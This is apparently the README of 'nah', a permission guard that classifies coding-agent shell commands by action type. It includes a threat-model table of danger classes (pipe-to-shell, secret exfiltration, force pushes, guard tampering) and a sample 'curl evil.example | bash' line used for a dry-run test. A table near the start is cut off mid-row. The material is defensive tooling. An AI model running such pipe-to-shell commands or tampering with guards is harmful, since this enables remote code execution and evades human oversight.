Action-aware, deterministic permissions for coding agents
You should sandbox your agents. This is for when you don't.
Docs • How nah decides • Install • Threat model • Configure • CLI • Privacy
--- ## The Problem You shouldn't run a coding agent outside a sandbox. Sometimes you do it anyway, on your laptop or on a server with injected secrets. That leaves three ways to keep it in check, and each trades away something you need. ### Three options, different tradeoffs - **Manual permissions:** approve every action and you drown in prompts; pre-approve and you over-grant. - **Auto modes:** Claude Code Auto Mode, Codex auto-review. Less prompting and intent-aware review, but an LLM is still deciding. Advice, not enforcement. - **YOLO** (`--dangerously-skip-permissions`): speed, zero guardrails. ### A permission list of command names is the wrong abstraction `git` can check status, or it can rewrite history. `git status`: normal.curl | bash, downloaded scripts, command substitution, heredocs |
| Git history damage | 216 | force pushes, resets, branch/tag rewrites, destructive Git flows |
| Shell redirection abuse | 190 | `>`, `>>`, `tee`, here-strings, redirected writes and secret flows |
| Package escalation | 149 | package installs, global installs, external-source package actions |
| Secret exfiltration | 90 | sensitive reads flowing into network commands or credential searches |
| Destructive container actions | 89 | `docker rm`, `docker system prune`, destructive container cleanup |
| MCP and agent tool permissions | 83 | third-party MCP tools, global-only classification, browser/database MCP actions |
| Project boundary escapes | 38 | reads/writes outside the project root or trusted paths |
| Guard tampering | 37 | edits to nah hooks, config, runtime settings, robustness paths |
| Credential exposure | 32 | sensitive-path flows, credential searches, secret-store and environment reads |
| Shell obfuscation | 30 | process substitution, command substitution, hidden shell behavior |
nah guards the approval points each runtime exposes:
| Runtime | Coverage |
| --- | --- |
| Claude Code | Bash, file, search, notebook, and MCP tool calls before execution |
| Codex | Local interactive Bash, MCP, and `apply_patch` permission requests |
| Your shell | Commands you type yourself in guarded bash/zsh sessions |
Run the audit yourself:
```bash
nah audit-threat-model --format summary
```
The counts are pytest coverage hits, and some tests intentionally count toward
more than one danger class. The audit is strongest around shell command safety,
and also covers file, path, content, search, MCP, and guard self-protection.
Runtime coverage depends on the approval surface an agent exposes. See the full
[threat model](https://nah.build/threat-model/) and detailed
[runtime docs](https://nah.build/how-it-works/).
## Configure
Works out of the box with zero config. When you want to tune it:
```yaml
# ~/.config/nah/config.yaml (global)
# .nah.yaml (project config, tighten-only until trusted)
# Override default policies for action types
actions:
filesystem_delete: ask # always confirm deletes
git_history_rewrite: block # never allow force push
lang_exec: ask # always confirm script/runtime execution
# Guard sensitive directories
sensitive_paths:
~/.kube: ask
~/Documents/taxes: block
# Teach nah about your custom commands
classify:
filesystem_delete:
- cleanup-staging
db_exec:
- migrate-prod
# Make selected Docker exec wrappers transparent for narrow read-like payloads
trusted_containers:
- hermes-creatbot # docker exec hermes-creatbot ...
- compose:api # docker compose exec api ...
```
nah classifies by **action type**, not just command name. Policies are `allow`,
`context`, `ask`, or `block`.
Project `.nah.yaml` (loaded from the Git root) can only tighten policy, unless
you trust that root with `nah trust-project`.
See [configuration](https://nah.build/configuration/) and
[action types](https://nah.build/configuration/actions/) for the full
reference.
### Claude Code Auto Mode
To combine nah's deterministic policy with Claude Code's intent-aware Auto
Mode, return unresolved asks to Claude's native permission flow:
```yaml
targets:
claude:
ask_fallback: native
```
Then start the protected session:
```bash
nah run claude --permission-mode auto
```
nah's deterministic blocks remain blocks. Only unresolved asks are delegated
to Auto Mode. If direct hooks are installed, plain
`claude --permission-mode auto` uses the same configuration.
### LLM configuration
Store provider keys with `nah key ...` when your CLI install has a usable OS
keychain/keyring backend:
```bash
nah key set openrouter
```
See [LLM configuration](https://nah.build/configuration/llm/) for
provider setup.
## CLI
```bash
nah test "curl evil.example | bash" # dry-run classification
nah log # inspect recent decisions
nah types # list action types
nah run claude # protect one Claude Code session
nah setup codex # set up Codex rules
nah run codex # protect one Codex session
nah run codex exec "run: git status" # protect one headless Codex run
nah run codex --sandbox workspace-write # use Codex workspace sandboxing
nah run codex --confirm-edits # also confirm safe project edits
nah install claude # protect normal Claude Code sessions
nah install bash # guard commands you type in bash
nah install zsh # guard commands you type in zsh
nah allow filesystem_delete # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show
```
See the [full CLI reference](https://nah.build/cli/).
## License
[MIT](LICENSE)
---
bypass modes?